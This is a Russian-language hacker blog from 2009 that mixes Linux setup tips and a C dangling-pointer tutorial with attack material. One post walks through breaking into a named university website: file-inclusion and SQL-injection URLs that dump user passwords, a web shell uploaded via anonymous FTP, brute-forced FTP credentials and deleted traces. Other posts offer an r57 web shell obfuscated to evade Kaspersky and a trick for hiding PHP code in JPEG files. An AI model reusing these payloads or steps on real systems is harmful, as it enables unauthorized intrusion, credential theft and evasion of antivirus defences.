cd /home/Kerny/wine-1.1.26

Устанавливаем:

./tools/wineinstall
./configure
make depend
make

После проверяем, установилось или нет, пробуем запустить одну из стандартных программ:

./wine notepad (блокнот)
./wine regedit (реестр)
./wine cmd (командная строка)

А обычные exe (pe -файлы), запускать так, допустим у меня по адресу /home/Kerny/ есть файл под названием redbook.exe, который нужно запустить,

./wine /home/Kerny/redbook.exe

Вот и все, ни каких проблем, а лучше настроить, чтобы exe файлы ассоциировались с приложением wine. Для этого (в разных дистрибутивах по-разному, но смысл везде один)
Правая кнопка мыши на приложении => открыть с помощью=> и выбираем wine.

Теперь поставим VirtualBox(ссылка),тут можно скачать версии под разные дистрибутивы, здесь мы качаем в rpm пакете, поэтому устанавливать проще чем wine.

rpm -i [название пакета]

Допустим, пакет называется так VirtualBox_fedora11.rpm, тогда наша команда примет вид:

rpm -i VirtualBox_fedora11.rpm

Теперь смотрим в каталоге, куда ставятся все программы по умолчанию (у меня /usr/share).

Безопасность.

Всем известно, что под Windows написана небывалая куча разной малвари. А вот в Linux в этом плане относительная тишина, но после установки wine и других эмуляторов на Linux, многие вирусы смогут работать через эмулятор, некоторые, конечно, будут иметь сбои (например реестра в Linux нет и они не смогут прописаться в авто запуск и прочее). Так что перед установкой эмулятора следует подумать, если вы все же его поставили, то лучше проверять все файлы, хоть как — то относящиеся к ОС Windows. Что касается виртуальных машин, тут ситуация более либеральная, при запуске на них вредоносного программного обеспечения будет повреждена только виртуальная система, хотя теоретически возможно написать вирус, который способен будет «понять», что запущен на виртуальной машине и попробует прорваться в реальную ОС.

22.08.09
Kerny
sa-sec.org

Object Masm for Microsoft Windows

2010-01-09T20:03:00.003+03:00

Решил выложить скрины своей старой разработки, начал писать ее около года назад, потом забросил. Вот недавно нашел и решил продолжить. Предварительное название:
Object Masm for Microsoft Windows - это среда разработки графических приложений на ассемблере, для ОС Windows. Пока поддерживает только синтаксис masm32. Если кто хочет помочь в разработки компонентов (button, label, edit), то я только рад. Пока компоненты разрабатываются для компилятора masm (но для fasm, тоже будут нужны) естественно они не рисуются с нуля, а основываются на Win-Api функциях.

Простой php-include

2009-12-31T17:17:00.007+03:00

В видео рассмотрен классический пример атаки php-include, в результате чего получаем web-shell на сервере с правами обычного user'a, а также сливаем БД, находящуюся на "соседнем" сервере. Специально для заливки на сервер web-shell'a , был написан скрипт, найти его можно в архиве с видео.

Решил под новый год сделать, что-нибудь. Всех кто читает это поздравляю и так далее...

Жертва: sosolid2k.co.uk
Найдено: nemaniak
Уязвимость: php-include.
Реализовано: Kerny
Снято: Kdenlive

Скачать

Kdenlive

2009-12-21T18:02:00.001+03:00

Kdenlive — свободная программа для нелинейного видеомонтажа, основанная на фреймворке Media Lovin' Toolkit (MLT), которая фокусируется на гибкости и простоте использования. Проект был начат Джесоном Вудом в 2002 году

Kdenlive поддерживает экспорт и импорт во все форматы, поддерживаемые FFmpeg. Поддерживается импорт с DV и V4L-устройств, захват видео с экрана, экспорт на DVD.
Первоначально создавалась для KDE 3, фреймворк MLT не использовался. Позже программа была перенесена на KDE 4 и MLT, для этого код был почти полностью переписан. Поддерживает различные аудио- и видеоэффекты.

Установка:

yum install kdenlive

Notepad For Linux

2009-12-14T15:45:00.007+03:00

Автор: Kerny
ОС: Linux, Windows
Зависимости: gtk 2.0
Название: Notepad For Linux
Сайт разработчика: http://kerny-auroras.blogspot.com
Руководство по разработке программы

Описание:
В ОС Linux существует множество текстовых редакторов, но все они многофункциональные, тяжеловесные, иногда нужно сохранить текст, на время, что бы, например, потом вставить в строку поиска и т.п. Этот редактор практически аналогичен Блокноту в системе Windows и как раз подходит для такой задачи, хочу сказать что код полностью кроссплатформенный, его можно откомпилировать практически под любую систему.

Файлы:
GuiNotepad.xml - описание графического интерфейса программы
Notepad.c - исходный код программы
Notepad - откомпилированная версия программы

Установка:
Если файл Notepad не запускается, то нужно заново откомпилировать программы под вашу систему, делается это так:

"gcc notepad.c -o notepad -export-dynamic `pkg-config --cflags --libs gtk+-2.0`"

Для правильной компиляции нужна библиотека gtk 2.0.

Лог:
Версия 1.2
+Исправлен недочет с открытием файлов, характерный лишь для версии 1.1
+Исправлен недочет с дублированием последней строки

Версия 1.1
+ Исправленны критические ошибки, в частности "переполнение буфера" при чтение из файла
+ Исправленн ряд мелких недочетов, связанный с преобразованием типов
+ Полность переписан код для открытия файла
Скачать:
ifolder Версия 1.1
deposit Версия 1.2

Crackme#2 by Kerny

2009-12-06T17:28:00.002+03:00

Уровень сложности 0.3

Приз достанется первому взломавшему. Что за приз я не скажу, дабы заинтересовать вас. По окончанию взлома, прошу победителя написать описание, о том как он сделал это.

Причем, crackme мало просто кракнуть, чтобы получить приз, потому что пароль к призу зашифрован шифром Вермана(xor), и ключом к расшифровке является серийный номер. В crackme встроенна подпрограмма, которая расшифрует вам пароль, но только если серийник правильный, - Удачи!

Конкурс завершен призы розданы.

Приз любезно предоставил fraIzer.

Скачать

Зеркало

Зеркало№2

Сrackme#1 by Kerny

2009-12-06T17:17:00.003+03:00

Уровень сложности 0.1

Приз достанется первому взломавшему. Что за приз я не скажу, дабы заинтересовать вас.
Приз любезно предоставил fraIzer

Конкурс завершен, но не смотря на это вы можете потренироваться, на этом кракме.

Скачать
Зеркало
Зеркало№2

Поднимаем SNMP

2009-12-04T13:43:00.002+03:00

Качаем и устанавливаем net-snmp. Так же можно скачать SNTP - демон, но не обязательно, если скачаете и настроите, то можно будет получать данные по сети и о своем компе (в зависимости от настроек) это может пригодится, если у вас, например прокси сервер установлен, или просто web-сервер. С помощью net-snmp можно получать данные о состояние сетевых устройств (маршрутиризаторов и т.п)

Пример использования:

[Kerny@localhost Рабочий стол]$ snmpget 192.168.100.1 public system.sysDescr.0
system.sysDescr.0 = HW_REV: 1; VENDOR: Motorola Corporation; BOOTR: xxxx; SW_REV: SBxxxxx-x.x.x.x-SCMxx-NOSH; MODEL: xxxxx

Это я натравил на свой модем, можно и на cisco натравливать, и если snmp настроено коряво, что позволяет получить доступ не с локалки, а с интернета, то при взломе маршрутизатора, это существенно облегчает задачу.

SNMP (англ. Simple Network Management Protocol — протокол простого управления сетями) — это протокол управления сетями связи на основе архитектуры TCP/IP.

Ссылка в никуда или сломанный указатель.

2009-11-27T11:03:00.030+03:00

Ссылка в никуда или сломанный указатель.

Язык программирования C/C++ и ему подобные, можно по праву назвать «высокоуровневым ассемблером», благодаря их гибкости и свободе. Но у чрезмерной свободы существуют и свои недостатки, следует неустанно следить, за тем, чтобы свобода одного не мешала свободе другого. Именно поэтому на программистов «свободных»(C/C++/Assembler)языков ложится все бремя ответственности за правильный ход выполнения программы (в других языках программирования за многим следит компилятор и не позволяет программисту допускать ту или иную ошибку). Сегодня мы разберем уязвимости, к которым может привести неправильное использование указателей и ссылок. Указатель представляет из себя, адрес определенной переменной в памяти, на которую он указывает. Такой подход во многом упрощает программирования, экономит «такты процессора», позволяет более быстро обращаться к большим участкам памяти, без их копирования. Приведем пример на языке C с использованием указателей, да и перейдем сразу к делу:

Листинг программы на C

#include cstdlib
#include iostream

int *p; //объявляем глобальный указатель типа integer

int test()
{
int test; //объявляем локальную переменную test
test=25; //присваиваем ей значение 25
p=&test; //присваиваем указателю p, адрес переменной test
}

int test2()
{ int x=10; } //объявляем и присваиваем значение локальной переменной X=10.

int main()
{
test(); //вызываем функцию test
test2(); //вызываем функцию test2
printf( "*P=%d",*p); //выводим на экран значение, которое находится по адресу в указателе p
return(0);
}

Листинг программы на C

Итак, по коду не сложно догадаться, что программа выведет в консоль число 25. Давайте скомпилируем данный пример, дабы убедиться в этом на практике. Представляю, как удивляться некоторые из вас, увидев, что p=10. Могу вас уверить, код выполнился, как ему и было положено, просто он содержит грубую ошибку, сейчас мы рассмотрим ее поподробнее.

Для этого нам нужно забраться в самое сердце программы, взглянуть на нее в дизассемблированном виде. Код, который будет приведен ниже, немного исправлен мной, для лучшего понимания.

Листинг дизассемблированной программы

Функция test:
PUSH EBP ; открываем кадр стека
MOV EBP,ESP
SUB ESP,4 ; Резервируем место для локальных переменных
MOV DWORD PTR SS:[EBP-4],19 ; скопируем 19h=25d по адресу EBP-4 (test=25)
LEA EAX,DWORD PTR SS:[EBP-4] ; сохраняем в EAX адрес EBP-4(по сути адрес пер. test)
MOV DWORD PTR DS:[443010],EAX ; сохраняем содержимое EAX в памяти(p=&test;)
LEAVE ; закрываем кадр стека
RETN ; выходим из функции

Функция test2:
PUSH EBP ; открываем кадр стека
MOV EBP,ESP
SUB ESP,4 ; Резервируем место для локальных переменных
MOV DWORD PTR SS:[EBP-4],0A ; скопируем 0Ah=10d по адресу EBP-4 (x=10)
LEAVE ; закрываем кадр стека
RETN ; выходим из функции

Функция main:
PUSH EBP ; открываем кадр стека
MOV EBP,ESP
SUB ESP,18 ; Резервируем место для локальных переменных
CALL Project#.00401390 ; вызываем функцию test
CALL Project#.004013A8 ; вызываем функцию test2
MOV EAX,DWORD PTR DS:[443010] ; в EAX значение указателя p
MOV EAX,DWORD PTR DS:[EAX] ; в EAX содержимое, по адресу в p
MOV DWORD PTR SS:[ESP+4],EAX ; передаем printf значение на которое указывает p
MOV DWORD PTR SS:[ESP], 00440000 ; передаем printf строку *P=%d
CALL PRINTF ; вызываем printf
LEAVE ; закрываем кадр стека
RETN ; выходим из функции

Листинг дизассемблированной программы

В данном примере все кроется в глобальных и локальных переменных. Глобальные переменные, это такие переменные которые «видны» всей программе сразу, к ним можно обратиться из любой функции или процедуры, они инициализируются при запуске программы. Локальные переменные, видны только той процедуре или функции, в которой они объявлены. Локальные переменные инициализируются при запуске той или иной функции, место для них выделяется в стеке:

PUSH EBP
MOV EBP,ESP
SUB ESP,4

Выделяем 4-байта (одна переменная типа integer). После выполнения функции или процедуры, кадр стека закрывается (leave):

MOV ESP,EBP
POP EBP

Но суть не в этом, а в том, что закрывая кадр стека, мы уничтожаем все переменные. То есть фактически, в памяти они остаются и не обнуляются, но обратиться к ним нельзя. Если раньше до уничтожения мы присвоили адрес переменной указателю (после уничтожения объекта, он станет висячим указателем), то обратиться к ней можно. Но никто не гарантирует, что ее значение останется прежним, ведь программа уже не учитывает, что место занято и может спокойно перезаписать значение на любое другое (как случайное, так и не очень). После выполнения функции test(), как раз это и произошло, P указывает на тот адрес, где раньше была переменная test. После, когда мы вызвали функцию test2(), открылся новый кадр стека, как раз в том же месте где существовал кадр стека для функции test(), и мы присвоили X значение 10, а X находился по тому же адресу, по которому когда-то располагалась переменная test.

Таким образом, мы и получили, в итоге 10. Такого рода ошибка, называется Висячим указателем. Висячий указатель - указатель, ссылающийся на уже удалённый объект. Чем чревата подобная ошибка, спросите вы?

Первое, если бы я продолжал использовать (проводить арифметические и другие действия) над указателем на test, думая, что test у меня равна 25, то в итоге программа выдавала бы просто непредсказуемые результаты, вплоть до полного отказа ее работы.
Второе, при выполнение некоторых условий, можно сознательно манипулировать значением переменной, а вдруг такая ошибка будет находиться в особо важном фрагменте кода, например в функции авторизации пользователя, а я смогу изменить значение ключевой переменной и авторизироваться без пароля! Замените функцию test2() на:

int test2()
{
int x;
scanf(“%d”,&x);
}

И убедитесь сами. Для того чтобы исправить ошибку нужно объявить переменную test глобально, или же использовать так называемые умные указатели.

Умный указатель— класс (обычно шаблонный), имитирующий интерфейс обычного указателя и добавляющий некую новую функциональность, например проверку границ при доступе или очистку памяти.

Говоря попроще умный указатель, уничтожает сам себя, как только уничтожается объект, на который он указывает, что препятствует появлению висячих указателей. По мимо указателей существуют еще и понятие ссылки на объект. По своей сути они очень похожи на указатели, ссылка, можно сказать второе имя переменной(псевдоним), по которому к ней можно обращаться, но она не хранит адреса в отличие от указателя и считается более безопасной, но это не спасает ее от существования такого понятия, как висячие ссылки. А не спасает вот почему, ради чистого любопытства я решил проверить одну из своих догадок, и написал два экземпляра кода, с использованием указателей и ссылок:

Листинг программы на C

Пример первый:
int main()
{
int a=7; //объявляем переменную типа integer, присваиваем ей значение 7
int* b=&a; //объявляем указатель, присваиваем ему адрес переменной a
}

Пример второй:
int main()
{
int a=7; //объявляем переменную типа integer, присваиваем ей значение 7
int& b=a ;
}

Листинг программы на C
Скомпилировав, первый и второй варианты, затем дизассемблировав их, посмотрел, какой код выходит в итоге:

Листинг дизассемблированной программы

MOV DWORD PTR SS:[EBP-4],7
LEA EAX,DWORD PTR SS:[EBP-4]
MOV DWORD PTR SS:[EBP-8],EAX
MOV EAX,0
LEAVE
RETN

Листинг дизассемблированной программы

Причем в первом и втором случае ассемблерный код оказался совершенно одинаковым! Это говорит о том, что на низком уровне ссылки и указатели это одно и тоже. Отличия можно наблюдать лишь на высоком уровне, дело в том, что если вы попробуете использовать ссылку, как обычной указатель, то компилятор просто откажется компилировать, хотя на уровне ассемблерных команд реализация ссылок и указателей одинакова.

Листинг неправильный код

int main()
{
int a=8;
int b=7;
int& c=b ;
*c=&a;
}

Листинг неправильный код

Я думаю именно потому, и существуют – «висячие ссылки». Нужно быть предельно осторожным при проектирование своих программ и особое внимание уделять указателям и ссылкам, ведь падение или неправильное выполнение программы еще не самое страшное, что может случиться, это еще одна, дополнительная лазейка для взломщика, которая может помочь ему в осуществление коварных планов.

13.11.2009

©Kerny

SASecurity gr.

IDA Pro

2009-11-13T23:22:00.007+03:00

IDA Pro – это дизассемблер, альтернативы которому просто нет. Для профессиональной работы это единственный пригодный дизассемблер. Он давно стал стандартом, и если говорят о дизассемблере, то в первую очередь имеют в виду IDA Pro.

IDA Pro имеет огромной количество функций и модулей, которые значительно упрощают процесс дизассемблирования. Сюда входит распознавание стандартных библиотечных функций, распознавание аргументов функций и их типов, представление всего кода в удобной древовидной форме и многое другое. Основные группы пользователей IDA Pro – это антивирусные компании, крупные разработчики ПО, специалисты по информационной безопасности. IDA Pro поставляется в двух версиях Standard и Advanced. Standard поддерживает более 20 семейств процессоров, а Advanced - более 50.

Скачать

Grub Linux & Windows

2009-10-30T19:00:00.005+03:00

Если на одном жестком диске установлен Linux, а на другом Windows и вам нужно загружать по желанию одну из систем, но для этого постоянно приходится отключать один из дисков, есть одно хорошее решение - grub (GNU GRUB (англ. GRand Unified Bootloader) — загрузчик операционной системы от проекта GNU. GRUB позволяет пользователю иметь несколько установленных операционных систем и при включении компьютера выбирать одну из них для загрузки), но его нужно настроить. Для этого грузимся под Linux, запускаем консоль

входим под root:

su root

cd /boot/grub/

MC - Midnight Commander (mc, ми́днайт-кома́ндер, «полуночный командир») — один из файловых менеджеров с текстовым интерфейсом типа Norton Commander для UNIX-подобных операционных систем, а также Microsoft Windows и Windows NT, OS/2, Mac OS X (но не Mac OS 9).

Открываем файл, и дописываем:

title Windows

map (hd0) (hd1)

map (hd1) (hd0)
chainloader (hd1,0)+1

Только hd1 - нужно выбрать свой, у вас может быть не hd1, а например hd2.

EDB

2009-10-12T15:34:00.011+04:00

Понадобился отладчик для Linux, стандартный gdb использовать было, как-то влом, хотелось чего нибудь похожего на Olly Debugger под Windows,c таким же интуитивно понятным интерфейсом, так начались глобальные(ну, может и не такие уж и глобальные) поиски отладчика для Linux, свой выбор я остановил на EDB, в нем конечно поменьше функций, чем в Olly, но тем не менее он мне понравился.

Итак, качаем отсюда распаковываем, в нужный каталог, но устанавливать не спешим, для работы программы нужен Qt>=4.2, тоже качаем(все ссылки на софт можно найти в конце поста). Распаковываем и устанавливаем:

cd /Путь_к_распакованной папке/
./configure make
или вместо make su -c "make install"

У меня компилировалось долго... Затем ставим сам debugger, для этого в консоле переходим в(только предварительно зайдя под root):

su - root
cd /usr/local/Trolltech/Qt-4.5.3/bin
./qmake /Путь_к_распакованной папке/debugger.pro
make
make INSTALL_ROOT=/usr/ install

Затем в папке с EDB запускаем файл edb.desktop или же вводим в консоле edb, если после запуска будет ругаться, покапайтесь в настройках. Подробнее о qmake...

Скачать Qt-4.5.3
Cкачать Edb

PHP – Include, и немного удачи.

2009-08-25T19:24:00.008+04:00

Сегодня мы рассмотрим к каким последствиям может привести локальный PHP – Include, скажу сразу в более удачных ситуациях, последствия могут быть еще более плачебны.

Собираем Баги.

Все началось с найденной на сайте БГУ уязвимости, в другой день и при других обстоятельствах, я, скорее всего не обратил бы на нее внимания, но этому сайту повезло (или не повезло, смотря, как посмотреть).

http://www.brgu.ru/index.php?openpage=/etc/passwd

Итак, мы имеем локальный PHP – Include.

//..................................

if (@$_GET['openpage'])
$file=$_GET['openpage'];

if(file_exists($file))
include($file);

else
print ('file not found');

//..............................

?>

Он был порожден примерно таким кодом, функция file_exists, проверяет, существует ли такой файл на сервере, а затем, если существует инклудит его, таким образом, мы можем читать файлы на сервере, но нужно иметь полный путь к файлу и соответствующие права (например, файл /etc/shadow, мы не прочтем — прав не хватит).

Проверим параметры на уязвимость к sql инъекции.

http://www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,user(),database(),version(),6,7+limit+1,1--

Версия БД - 4.1.20 значит служебной таблицы information_schema, в которой хранятся название всех таблиц и колонок не существует, прийдется гадать, но это оказалось не сложно:

http://www.brgu.ru/index.php?openpage=readnews.php&id=227+union+select+1,2,password,database(),name,6,7+from+users+limit+1,1--

Получили доступ к таблице, в которой хранятся аккаунты пользователей форума, нашли админский.

Теперь нам не придется регистрироваться, заходим под любым аккаунтом, ищем баги дальше.

Форум выглядит не очень безопасным.cмотрим на копирайты, понятно форум самописный, ну что, могу спорить он весь в дырах.

Снова php – include:

http://www.forum.brgu.ru/index.php?page=/etc/passwd

Пробуем оставить сообщение на форуме:

[sсriрt]аlеrt('хss')[/sсriрt]

Выдим выскочило окно с надписью xss, да и межсайтовый скриптинг при нас.

Получаем Вебшелл.

Уязвимостей тут хоть отбавляй, казалось бы при таком смертельно опасном наборе дыр, взломать сайт не составит проблем, но на самом деле мы не так уж и много имеем sql – иньекция исчерпала свой потенциал, когда отдала нам аккаунты пользователей форма, тем самым сделав бесполезным использование xss, остался только php-include, тоесть мы можем проинклудить вредоносный php скрипт, да но нужно для начала залить этот скрипт на сервер, посмотрев форум мы убедились, что залить свою аватару или вообще заливать свои файлы — возможности нет.

Уже от безнадежности сканируя порты я заметил, что тут стоит фтп сервер и есть анонимный доступ, причем папка

ftp://www.brgu.ru/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/

Доступна для записи!

А что если проинклудить файл с фтп? нужно попробывать!

Допустим, существует фтп сервер, но он не предоставляет всю файловую систему в наше распоряжение (если только админ не постарался этого настроить) а только отдельную директорию (такая директория называется домашней директорией фтп сервера), то есть к файлам на фтп теоретически можно обратиться и из http, только нужно знать «домашний» каталог фтп сервера, путь к нему. Примерно так я представлял себе структуру файлов на сервере (на самом деле она оказалась другой, но это не важно, главное принцип)

http://www.brgu.ru/index.php?openpage=../

Означает подняться на один каталог вверх, то есть мне не нужно искать полный путь к домашней папке фтп сервера, а достаточно, знать только название папки (если, конечно, сайт и домашняя директория фтп, находятся в одном дереве каталогов), и просто попытаться угадать

http://www.brgu.ru/index.php?openpage=../ftphome
http://www.brgu.ru/index.php?openpage=../../ftphome
http://www.brgu.ru/index.php?openpage=../../../ftphome

И так пока не пропадет ошибка, если она пропадет, то значит, такой каталог существует, кстати, всегда, можно автоматизировать процесс...

Мне не пришлось этого делать, ибо мне улыбнулась удача!

http://www.brgu.ru/index.php?openpage=../../ftp/

После я зашел на фтп сервер и залил на него скрипт вебшелла, а затем проинклудил его

http://www.brgu.ru/index.php?openpage=../../ftp/pub_rw/%C4%EE%EA%F3%EC%E5%ED%F2%E0%F6%E8/shell.php

Теперь вернемся к /etc/passwd, здесь мы можем видеть аккаунты всех пользователей сервера, у r57, есть замечательная возможность, мы можем попробывать сбрутить более привилегированные аккаунты к фтп серверу опираясь на /etc/passwd, получаем:

ftp:ftp
aspirantura1:aspirantura1
profcom11:profcom11

Теперь закачаем наш шелл в другой каталог, и удалим с фтп сервера файлы, что мы заливали ранее (чтоб не палится).

Защита.

Я расскажу только о защите от php – include, поскольку, все остальные уязвимости, найденные в скриптах, не сыграли почти ни какой роли.

Самый надежный способ защититься, это создать массив, в котором будут храниться все возможные значения переменной, и проверять — если в массиве не встречается такого значения переменной, то, например, редикет на главную страницу сайта.

//..................................

$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';

//..............................

?>

Вывод.

Я не ставили своей целью получение root на сервере и проникновение во внутреннюю сеть, поэтому остановился на достигнутом, надеюсь, администратор сделать свои выводы из выше написанного.

22.06.09
(c)Kerny

Начал изучать C

2009-08-16T22:21:00.006+04:00

Сегодня начал изучать Cи, теперь буду кодить под Linux, написал первую прогу, по скольку, когда - то давно моей самой первой (вроде на делфи) была прога, которая решает увадратные уравнения, то у меня уже, что-то вроде традиции, начинать изучение новых языков программирования именно с нее, вот очередной экземпляр на си, она и под Windows должна запуститься, ведь тут использованы только функции самого языка.

Компилируем так:

gcc -0 Kvadrick Kvadrick.c

В архиве исходник и скомпилированный файл под Linux.
ifolder

Статьи

2009-08-09T14:47:00.024+04:00

Список статей, когда либо написанных мной, со ссылками на них, пополняется по мере написания новых:

Дефейс за две минуты
Меняя mac

От формул к процессору:
+Часть Первая
+Часть Вторая
+Часть Третья
+Часть Четвертая
+Часть Пятая

Визуализация в Delphi
Взлом Crackme
Взлом ПК под управлением Windows
Недостатки форматной строки
PHP – Include, And little good luck
Привкус Виртуальности
Ссылка в никуда или сломанный указатель.
Совсем чуть-чуть о cgi
Программирование графических приложения для Linux
Некоторые вещи в Gimp

Связь

2009-08-09T14:43:00.007+04:00

Со мной можно связаться:

icq:

243935

mail:

Kerny[@]hackzona.ru

Проблемы с кодировками в Linux

2009-08-07T20:48:00.006+04:00

После перехода на Linux, возникли проблемы с русскими кодировками. Нельзя было скачать файл с русским именем с фтп сервера, через фрифокс. Со встроенным клиентом - FTPGrabber' ом таже история, вместо русских шрифтов показывалась всякая лабуда, качаться не хочет и т.п, после некоторого времени я нашел решения (некоторые из них мне подсказали), не могу не поделится ними.

Итак, начнем с фрифокса. Пишем в строке адреса about:config появляется огромный список, в нем находим network.standart-url.encode-utf-8 и присваеваем ему значение false, затем network.standart-url.escape-utf-8 то же false.

Теперь разбиремся с FTPGrabber. Запустили, идем в settings=>configure, выбираем вкладку bookmarks, в поле Encoding выбираем Сyrillic (cp 1251). Если эта кодировка не катит, тогда смотрим какая кодировка установлена на сервере и ставим ее. Чтобы узнать кодировку сервера, открываем фрифокс заходим на сервер, жмем на правую кнопку мыши (чтобы вызвать контекстное меню) и выбираем пункт - информация о странице, там и будут нужные нам данные.

Немного о Cloud Computing

2009-08-06T02:19:00.006+04:00

Развитие сетей , рост количества рабочих станций в них, все это усложняет администрирование, постоянное обновление, как программного, так и аппаратного обеспечения ПК находящихся в сети, становится настоящей проблемой, для решения которой требуется приложить много усилий, да и то никто не гарантирует, что после окончания работ, они не пойдут на смарку, конечно существует много средств облегчающих данную задачу, но и их оказывается не достаточно, Технология Cloud Computing призвана облегчить страдания администраторов и пользователей, которые по долгу не могут получить помощь специалиста (бедняга занят). Cloud Computing — это можно сказать возвращение к старым традициям - во времена Мэнфреймов и терминалов. Идея заключается в том, что все ПО и АО предоставляется сервером (Менфреймом), по сути все остаются довольны: администратору — достался на администрирование один сервер, и больше не приходится бегать от одного пользователя к другому, а пользователям беспокоится о нарушение работы. В общем по сути идея старая, но просто завернута в новую оболочку. Мне лично кажется такая технология наиболее подходит фирмам и компаниям с очень огромными сетями и постоянной необходимостью их расширения.

К сожалению по своей природе Cloud Computing не безопасна ( вспомните хотя бы как Митник Взломал Шимомуру, а ведь он перехватил tcp сессию между Мэнфреймом и Терминалом Шимомуры правда Шимомура имел root доступ, что пользователям дано не будет), конечно Cloud Computing содержит свои примочки отвечающие за безопасность, кстати говоря клиенты (терминалы) остаются полностью без защиты все антивирусное и прочее защитное ПО хранится на сервере (менфрейме). Применение такой технологии в изолированной от интернета сети, себя очень оправдывает.

Что касается применения этой технологии, провайдерами (что уже в перспективе), когда главный сервер находится непосредственно в интернете - очень небезопастно, тогда взлом одного только сервера будет иметь очень чреватые последствия, кражу персональной информации сотен, а то и тысяч пользователей, и при этом даже не нужно взламывать клиентов по отдельности.

(с)Kerny

Перешел на Linux

2009-08-04T22:21:00.002+04:00

Недавно поставил себе Russian Fedora 11, вроде ничего. Пока, конечно, всяякие траблы напрягают.

Презентация AI

2009-08-01T15:17:00.003+04:00

Презентация AI

Как-то давно делал презентацию про Искусственный Интелект, вот решил выложить, для общего развития интересно посмотреть.

Скачать

Уязвимость в ядре Linux

2009-07-29T13:41:00.008+04:00

Привет всем, недавно была обнаружена очень интересная уязвимость в ядре Linux, она отличается от других, и думаю будет очень познавательно почитать ее описание:

Исходный код для эксплуатации весьма необычной уязвимости в ядре Linux был опубликован сегодня Бредом Спенглером (Brad Spengler) – автором модуля grsecurity.

Что же необычного в уязвимости, позволяющей просто повысить привилегии? Дело в том, что при обычном анализе исходного кода эту уязвимость практически невозможно обнаружить. Технические подробности этой ошибки немного сложны, но можно просто объяснить, что именно происходит. Уязвимый код находится в реализации net/tun. Вот что здесь происходит: разработчик инициализирует переменную (sk в примере ниже), и устанавливает ее в значение, которое может быть равно нулю. Разработчик корректно проверяет значение переменной на несколько строк ниже и если переменная равно 0 (нулю), возвращается ошибка. Код выглядит следующим образом:

struct sock *sk = tun->sk; // initialize sk with tun->sk
…
if (!tun)
return POLLERR; // if tun is NULL return error

Код выглядит корректно с первого взгляда. Но это до того, как компилятор начнет работать с этим кодом. При оптимизации кода, компилятор увидит, что значение переменной уже присвоено и просто удалит блок IF. Другими словами, компилятор создаст уязвимость в бинарном коде, которой не существует в исходном. Нововведение, произведенное компилятором, позволит ядру прочитать и записать данные по адресу 0x00000000, который атакующий затем сможет перенаправить в пространство пользователя и получить привилегии root на системе.

Опубликованный эксплоит способен обойти защиту разыменования нулевого указателя в ядре, на системах с SELinux и без него, и отключить SELinux/AppArmor/LSM/auditing.

Скачать эксплоит можно по адресу

Источник

Mssql - injection

2009-07-26T23:33:00.006+04:00

Класическая Mssql - injection.

ifolder
deposit
letitbit

Снято 17.07.2009

Blind Mysql injection

2009-07-26T23:11:00.007+04:00

В видео показана реализация атаки типа Blind Mysql injection, использованы такие популярные инструменты, как sipt.

Скачать

Снято примерно 15.10.2008.

Исходники Converter of Hacker

2009-07-20T15:18:00.007+04:00

Исходники Converter of Hacker

Решил выложить исходники Converter of Hacker, программу продолжать скорее всего не буду, может у кого другова инициатива проснется.

ifolder
deposit
letitbit

Ура!!!

2009-07-08T22:08:00.008+04:00

Ура!!!

Сегодня прислали фотки, статьи "недостатки форматной строки" в компьтерной газете, хотя качество плохое, но впечатном виде она смотрится гораздо круче!

Можете поздравить меня.

Взлом механических замков

2009-07-08T20:45:00.003+04:00

Взлом механических замков.

Полезно знать, как работают наши собратья в реале...

Скачать

RedBook - исходники

2009-07-05T13:39:00.003+04:00

RedBook - исходники

Скачать

r57 - криптованный

2009-07-05T13:13:00.005+04:00

r57 - криптованный.

Закриптовал r57, теперь палится меньше, главное не палится Касперским, а он на большинстве машин стоит.

Скачать

RedBook

2009-06-17T21:43:00.002+04:00

RedBook

Простая записная книжка

Скачать letitbit

Converter of Hacker (version 1.1).

2009-06-09T13:59:00.011+04:00

Converter of Hacker.
(version 1.1 full)

Converter of Hacker - программа позволяющая редактировать текст, имеет поддержку скриптов, что позволяет пользователю самому расширять функционал программы.

Команды интерпретатора:

add [n],[t] -- добавить после символа [n] символ [t]
fni [n] -- добавить в конце строки [n]
inf [n] -- добавить перед строкой [n]
sam [n],[t] -- заменить [n] на [t]
del [n] -- удалить все символы [n]
dels[n] -- удалить первый попавшийся символ [n]
phe -- распределение push
nab -- все символы в строках наоборот
acsii -- Переводим символы в acsii-коды
hex -- Переводим символы в hex-коды
ats -- ascii-коды в символы
hts -- hex-коды в символы
hta -- hex-коды в ascii
ath -- ascii-коды в hex

Примеры использования команд:

add d,f -- добавить после символа d символ f
fni g -- добавить в конце строки символ g
inf h -- добавить перед строкой символ h
sam j,l -- заменить j на l
del 7    -- удалить все символы 7
phe -- распределение push
nab -- все символы в строках наоборот
acsii -- Переводим символы в acsii-коды
hex -- Переводим символы в hex-коды
ats -- ascii-коды в символы
hts -- hex-коды в символы
hts    -- hex-коды в символы
hta -- hex-коды в ascii
ath -- ascii-коды в hex

Все скрипты поставляемые с программой находятся в папке script:

Char.ch - зачаривание для Mysql
Hex.ch    - hex для Myql
DeChar.ch - обратная зачариванию операция

Вы можете писать скрипты и сами, в следующей версии, если вам ,конечно, понравится программа, будет реализована процедура добавления ваших скриптов в программу, и многое другое.

Version 1.0 DEMO

Version 1.1 Full

Php код в jpeg картинке

2009-05-17T21:25:00.004+04:00

Php код в jpeg картинке, без использования метаданных.

Открываем картинку WinHex' ом переходим в самый конец файла, поледние два байта всегда равны FF D9, это маркер который говорит о том что это конец файла, пишем в текстовом файле свой php код — например , копируем его в буфер обмена и вставляем в WinHex, там появиться окно и вас попросят выбрать формат вставляемых данных, выбирайте ascii. Теперь в самом конце дописываем FF D9, а этоже значение на старом месте затираем нулями.

Сохраняем файл и смотрим, работает — причем без проблем!

Скачать WinHex

Скачать Пример

Iris Network Traffic Analyzer

2009-05-16T13:54:00.005+04:00

Iris Network Traffic Analyzer

Снифер моей мечты

Iris Network Traffic Analyzer - На сегодняшний день, самый крутой снифер и мониторинг трафика.

Очень легкие настройки, перехватывает все. Полезно знать, что проходит во время нашего серфинга. Можно мониторить как и весь трафик так и отдельные программы. Анализатор пакетов eEye Digital Security Iris The Network Traffic Analyzer компании eEye - это настоящая революция в области сетевого мониторинга.

Помимо стандартных функций сбора, фильтрации и поиска пакетов, а также построения отчетов, программа Iris The Network Traffic Analyzer предлагает уникальные возможности для реконструирования
данных.

